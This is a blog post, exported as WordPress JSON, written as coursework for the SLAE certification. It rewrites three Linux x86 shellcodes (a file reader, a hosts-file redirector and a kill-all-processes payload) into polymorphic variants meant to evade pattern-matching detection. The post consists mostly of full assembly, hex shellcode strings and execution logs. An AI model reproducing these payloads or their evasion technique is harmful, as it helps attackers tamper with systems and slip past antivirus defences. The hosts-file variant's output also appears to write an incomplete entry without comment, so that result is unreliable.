{"id":840,"date":"2020-09-17T19:03:52","date_gmt":"2020-09-17T19:03:52","guid":{"rendered":"http:\/\/mosunit.com\/?p=840"},"modified":"2020-09-17T19:03:54","modified_gmt":"2020-09-17T19:03:54","slug":"crafting-linux-x86-polymorphic-shellcodes","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=840","title":{"rendered":"Crafting Linux x86 Polymorphic Shellcodes"},"content":{"rendered":"\n<p>In this post, I am going to refer 3 Linux x86 shellcodes from <a rel=\"noreferrer noopener\" href=\"http:\/\/shell-storm.org\/shellcode\/\" target=\"_blank\">shell-storm<\/a> database and create their polymorphic versions. To elaborate, I will try to achieve polymorphism by using semantically equivalent instructions to achieve the original functionality, but trying to evade the pattern matching.<\/p>\n\n\n\n<p>I will keep this post short and crisp. So, let&#8217;s jump right into it:<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Linux\/x86 File Reader<\/h2>\n\n\n\n<p>The first one that I chose is a <a rel=\"noreferrer noopener\" href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-73.php\" target=\"_blank\">file reader<\/a> shellcode. The shellcode had hard-coded string value, which is the file pathname. Upon execution, the shellcode invokes open, read and write syscall to read the file mentioned by the pathname string. The original shellcode is as follows (converted to Intel format):<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">global _start\n\n_start:\n        xor eax, eax\n        xor ebx, ebx\n        xor ecx, ecx\n        xor edx, edx\n        jmp two\n\none:\n        pop ebx\n\n        mov al, 0x5\n        xor ecx, ecx\n        int 0x80\n\n        mov esi, eax\n        jmp read\n\nexit:\n        mov al, 0x1\n        xor ebx, ebx\n        int 0x80\n\nread:\n        mov ebx, esi\n        mov al, 0x3\n        sub esp, 1\n        lea ecx,[esp]\n        mov dl,0x1\n        int 0x80\n\n        xor ebx, ebx\n        cmp ebx, eax\n        je exit\n\n        mov al, 0x4\n        mov bl, 0x1\n        mov dl, 0x1\n        int 0x80\n\n        add esp, 1\n        jmp read\n\ntwo:\n        call one\n        db \"file_name\"<\/pre>\n\n\n\n<p>I changed the string <em>file_name <\/em>to <em>&#8220;\/etc\/netconfig&#8221;<\/em>, compiled and ran the code and got the following output.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-6# objdump -d file_reader |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/\"\/'|sed 's\/$\/\"\/g'\n\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xeb\\x32\\x5b\\xb0\\x05\\x31\\xc9\\xcd\\x80\\x89\\xc6\\xeb\\x06\\xb0\\x01\\x31\\xdb\\xcd\\x80\\x89\\xf3\\xb0\\x03\\x83\\xec\\x01\\x8d\\x0c\\x24\\xb2\\x01\\xcd\\x80\\x31\\xdb\\x39\\xc3\\x74\\xe6\\xb0\\x04\\xb3\\x01\\xb2\\x01\\xcd\\x80\\x83\\xc4\\x01\\xeb\\xdf\\xe8\\xc9\\xff\\xff\\xff\\x2f\\x65\\x74\\x63\\x2f\\x6e\\x65\\x74\\x63\\x6f\\x6e\\x66\\x69\\x67\"\nroot@kali:~\/slae\/assignments\/assignment-6# nano shellcode.c\nroot@kali:~\/slae\/assignments\/assignment-6# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_original\nshellcode.c:7:1: warning: return type defaults to \u2018int\u2019 [-Wimplicit-int]\n    7 | main()\n      | ^~~~\nroot@kali:~\/slae\/assignments\/assignment-6# .\/file_reader_original\nShellcode length: 79\n#\n# The network configuration file. This file is currently only used in\n# conjunction with the TI-RPC code in the libtirpc library.\n#\n# Entries consist of:\n#\n#       &lt;network_id> &lt;semantics> &lt;flags> &lt;protofamily> &lt;protoname> \\\n#               &lt;device> &lt;nametoaddr_libs>\n#\n# The &lt;device> and &lt;nametoaddr_libs> fields are always empty in this\n# implementation.\n#\nudp        tpi_clts      v     inet     udp     -       -\ntcp        tpi_cots_ord  v     inet     tcp     -       -\nudp6       tpi_clts      v     inet6    udp     -       -\ntcp6       tpi_cots_ord  v     inet6    tcp     -       -\nrawip      tpi_raw       -     inet      -      -       -\nlocal      tpi_cots_ord  -     loopback  -      -       -\nunix       tpi_cots_ord  -     loopback  -      -       -\n<\/pre>\n\n\n\n<p>The original shellcode length is 79. <\/p>\n\n\n\n<p>Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:<br> <\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Eliminated JMP-CALL-POP technique<\/li><li>Removed <em>db<\/em> string. Instead, used a stack method to push <em>\/etc\/\/\/netconfig<\/em> on the stack<\/li><li>Removed all <em>mov <\/em>instructions. Substituted them with <em>add <\/em>instructions. <\/li><\/ul>\n\n\n\n<p>The updated code is as follows. I have commented the code too for better understanding.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">global _start\n\n_start:\n        xor ebx, ebx            ; EBX XORed to NULL\n        push ebx                ; push NULL onto stack\n\n        ; push  \/etc\/\/\/netconfig on the stack\n        push 0x6769666e         ; gifn : 6769666e\n        push 0x6f637465         ; octe : 6f637465\n        push 0x6e2f2f2f         ; n\/\/\/ : 6e2f2f2f\n        push 0x6374652f         ; cte\/ : 6374652f\n        mov ebx, esp\n\n        xor eax, eax            ; EAX XOred to NULL\n        add al, 5               ; Increment AL by 5; EAX - 0x5\n        xor ecx, ecx\n        int 0x80\n\n        mov esi, eax\n        jmp read\n\nexit:\n        xor eax, eax            ; EAX XOred to NULL\n        add al, 1               ; Increment AL by 1; EAX - 0x1\n        xor ebx, ebx\n        int 0x80\n\nread:\n        mov ebx, esi\n        xor eax, eax            ; EAX XOred to NULL\n        add al, 3               ; Increment AL by 3; EAX - 0x3\n        sub esp, 1\n        lea ecx,[esp]\n        xor edx, edx            ; EDX XOred to NULL\n        add dl, 1               ; Increment DL by 1, EDX - 0x1\n        int 0x80\n\n        xor ebx, ebx\n        cmp ebx, eax\n        je exit\n\n        xor eax, eax            ; EAX XOred to NULL\n        xor edx, edx            ; EDX XOred to NULL\n        add al, 4\n        add bl, 1\n        add dl, 1\n        int 0x80\n\n        add esp, 1\n        jmp read\n<\/pre>\n\n\n\n<p>Running this in our skeleton C shellcode shows that the shellcode size is 89, which is just <strong>~11%<\/strong> increase in payload size.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-6\/file_reader# objdump -d file_reader_polymorphic |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/\"\/'|sed 's\/$\/\"\/g'\n\"\\x31\\xdb\\x53\\x68\\x6e\\x66\\x69\\x67\\x68\\x65\\x74\\x63\\x6f\\x68\\x2f\\x2f\\x2f\\x6e\\x68\\x2f\\x65\\x74\\x63\\x89\\xe3\\x31\\xc0\\x04\\x05\\x31\\xc9\\xcd\\x80\\x89\\xc6\\xeb\\x08\\x31\\xc0\\x04\\x01\\x31\\xdb\\xcd\\x80\\x89\\xf3\\x31\\xc0\\x04\\x03\\x83\\xec\\x01\\x8d\\x0c\\x24\\x31\\xd2\\x80\\xc2\\x01\\xcd\\x80\\x31\\xdb\\x39\\xc3\\x74\\xdf\\x31\\xc0\\x31\\xd2\\x04\\x04\\x80\\xc3\\x01\\x80\\xc2\\x01\\xcd\\x80\\x83\\xc4\\x01\\xeb\\xd4\"\nroot@kali:~\/slae\/assignments\/assignment-6\/file_reader# nano shellcode.c\nroot@kali:~\/slae\/assignments\/assignment-6\/file_reader# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_poly\nshellcode.c:7:1: warning: return type defaults to \u2018int\u2019 [-Wimplicit-int]\n    7 | main()\n      | ^~~~\nroot@kali:~\/slae\/assignments\/assignment-6\/file_reader# .\/file_reader_poly\nShellcode length: 89\n#\n# The network configuration file. This file is currently only used in\n# conjunction with the TI-RPC code in the libtirpc library.\n#\n# Entries consist of:\n#\n#       &lt;network_id> &lt;semantics> &lt;flags> &lt;protofamily> &lt;protoname> \\\n#               &lt;device> &lt;nametoaddr_libs>\n#\n# The &lt;device> and &lt;nametoaddr_libs> fields are always empty in this\n# implementation.\n#\nudp        tpi_clts      v     inet     udp     -       -\ntcp        tpi_cots_ord  v     inet     tcp     -       -\nudp6       tpi_clts      v     inet6    udp     -       -\ntcp6       tpi_cots_ord  v     inet6    tcp     -       -\nrawip      tpi_raw       -     inet      -      -       -\nlocal      tpi_cots_ord  -     loopback  -      -       -\nunix       tpi_cots_ord  -     loopback  -      -       -\nroot@kali:~\/slae\/assignments\/assignment-6\/file_reader#\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Add Entry Hosts file<\/h2>\n\n\n\n<p>The second one in the list is a payload which adds <a rel=\"noreferrer noopener\" href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-893.php\" target=\"_blank\">mapping of a domain to IP address<\/a> in the <em>hosts<\/em> file. The hardcoded values create a mapping of <em>google.com <\/em>with <em>127.1.1.1<\/em><\/p>\n\n\n\n<p>The original shellcode is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/**\n\n;modify_hosts.asm\n;this program add a new entry in hosts file pointing google.com to 127.1.1.1 \n;author Javier Tejedor\n;date 24\/09\/2014\n\nglobal _start\n\nsection .text\n\n_start:\n    xor ecx, ecx\n    mul ecx\n    mov al, 0x5     \n    push ecx\n    push 0x7374736f     ;\/etc\/\/\/hosts\n    push 0x682f2f2f\n    push 0x6374652f\n    mov ebx, esp\n    mov cx, 0x401       ;permmisions\n    int 0x80        ;syscall to open file\n\n    xchg eax, ebx\n    push 0x4\n    pop eax\n    jmp short _load_data    ;jmp-call-pop technique to load the map\n\n_write:\n    pop ecx\n    push 20         ;length of the string, dont forget to modify if changes the map\n    pop edx\n    int 0x80        ;syscall to write in the file\n\n    push 0x6\n    pop eax\n    int 0x80        ;syscall to close the file\n\n    push 0x1\n    pop eax\n    int 0x80        ;syscall to exit\n\n_load_data:\n    call _write\n    google db \"127.1.1.1 google.com\"\n**\/<\/pre>\n\n\n\n<p>The code when run is of 77 bytes. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-6\/add_host# cat \/etc\/hosts\n127.0.0.1       localhost\n127.0.1.1       kali\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\nroot@kali:~\/slae\/assignments\/assignment-6\/add_host# .\/shellcode\nShellcode length: 77\nroot@kali:~\/slae\/assignments\/assignment-6\/add_host# cat \/etc\/hosts\n127.0.0.1       localhost\n127.0.1.1       kali\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n127.1.1.1 google.com<\/pre>\n\n\n\n<p>Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>As standard push of <em>\/etc\/\/\/hosts<\/em> on the stack was a defined pattern, I removed it<\/li><li>Instead, I broke up each push instruction in the following:<ul><li>Subtracted 0x1111 from each push instruction and moved to ESI register<\/li><li>Added 0x1111 in the ESI register<\/li><li>Moved ESI to <em>ESP &#8211; 4, ESP &#8211; 8 and ESP-12 <\/em>respectively for each instruction<\/li><\/ul><\/li><li>Adjusted ESP by subtracting 12<\/li><\/ul>\n\n\n\n<p>The updated code is as follows. I have commented the code too for better understanding.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">;modify_hosts.asm\n;this program add a new entry in hosts file pointing google.com to 127.1.1.1\n;author Javier Tejedor\n;date 24\/09\/2014\n\nglobal _start\n\nsection .text\n\n_start:\n        xor ecx, ecx\n        mul ecx\n        mov al, 0x5\n        push ecx\n\n;       push 0x7374736f     ;\/etc\/\/\/hosts\n;       push 0x682f2f2f\n;       push 0x6374652f\n\n        ; subtract 0x1111 from 0x7374736f and then add 0x1111\n        mov esi, 0x7374625E\n        add esi, 0x1111\n        mov dword [esp-4], esi\n\n        ; subtract 0x1111 from 0x682f2f2f and then add 0x1111\n        mov esi, 0x682F1E1E\n        add esi, 0x1111\n        mov dword [esp-8], esi\n\n        ; subtract 0x1111 from 0x6374652f amd then add 0x1111\n        mov esi, 0x6374541E\n        add esi, 0x1111\n        mov dword [esp-12], esi\n\n        ; adjust esp\n        sub esp, 12\n\n        mov ebx, esp\n        mov cx, 0x401       ;permmisions\n        int 0x80        ;syscall to open file\n\n        xchg eax, ebx\n        push 0x4\n        pop eax\n        jmp short _load_data    ;jmp-call-pop technique to load the map\n\n_write:\n        pop ecx\n        push 20         ;length of the string, dont forget to modify if changes the map\n        pop edx\n        int 0x80        ;syscall to write in the file\n\n        push 0x6\n        pop eax\n        int 0x80        ;syscall to close the file\n\n        push 0x1\n        pop eax\n        int 0x80        ;syscall to exit\n\n_load_data:\n        call _write\n        google db \"127.1.1.1 google.com\"\n<\/pre>\n\n\n\n<p>Running this in our skeleton C shellcode shows that the shellcode size is 107, which is just <strong>~38%<\/strong> increase in payload size.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-6\/add_host# cat \/etc\/hosts\n127.0.0.1       localhost\n127.0.1.1       kali\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\nroot@kali:~\/slae\/assignments\/assignment-6\/add_host# .\/shellcode\nShellcode length: 107\nroot@kali:~\/slae\/assignments\/assignment-6\/add_host# cat \/etc\/hosts\n127.0.0.1       localhost\n127.0.1.1       kali\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n127.1.1.1<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Kill all Processes<\/h2>\n\n\n\n<p>This is the last one in this post. This shellcode is pretty straightforward. It <a rel=\"noreferrer noopener\" href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-564.php\" target=\"_blank\">kills all processe<\/a>s !<\/p>\n\n\n\n<p>The original code is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; linux\/x86 kill all processes 9 bytes\n; root@thegibson\n; 2010-01-14\n \nsection .text\n        global _start\n \n_start:\n        ; kill(-1, SIGKILL);\n        mov al, 37\n        push byte -1\n        pop ebx\n        mov cl, 9\n        int 0x80<\/pre>\n\n\n\n<p>As you can see, this is a very small piece of code that is using <em>kill<\/em> syscall to kill all the processes. Running this code exits my ssh console session and this code is only 9 bytes long. <\/p>\n\n\n\n<p>Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Instead of moving the syscall number directly into EAX register, I broke the instruction into 3 instructions, which has the same function<\/li><li>Similarly, instead of moving the 9 directly into ECX register, I broke the instruction into 3 instructions, which has the same function<\/li><\/ul>\n\n\n\n<p>The modified shellcode is of 19 bytes which is ~111% increase in the size. The modified shellcode is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; linux\/x86 kill all processes 9 bytes\n; root@thegibson\n; 2010-01-14\n\nsection .text\n\nglobal _start\n\n_start:\n        ; kill(-1, SIGKILL);\n        ; broke mov al, 37 into 3 instructions\n        mov cl, 0x24\n        mov eax, ecx\n        add eax, 0x1\n\n        push byte -1\n        pop ebx\n\n        ; broke mov cl, 9 into 3 instructions\n        mov dl, 0x8\n        mov ecx, edx\n        add ecx, 0x1\n\n        int 0x80\n<\/pre>\n\n\n\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.pentesteracademy.com\/course?id=3<\/a><\/p>\n\n\n\n<p>Student ID: PA-16521<\/p>\n\n\n\n<p>The code is also stored at <a href=\"https:\/\/github.com\/mosunit\/SLAE32\/tree\/master\/Assignment-6\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>. Thanks for reading !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post, I am going to refer 3 Linux x86 shellcodes from shell-storm database and create their polymorphic versions. To elaborate, I will try&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,4,21,25],"tags":[],"class_list":["post-840","post","type-post","status-publish","format-standard","hentry","category-assembly","category-av-evasion","category-shellcoding","category-slae"],"_links":{"self":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/840","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=840"}],"version-history":[{"count":15,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/840\/revisions"}],"predecessor-version":[{"id":857,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/840\/revisions\/857"}],"wp:attachment":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=840"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=840"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=840"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}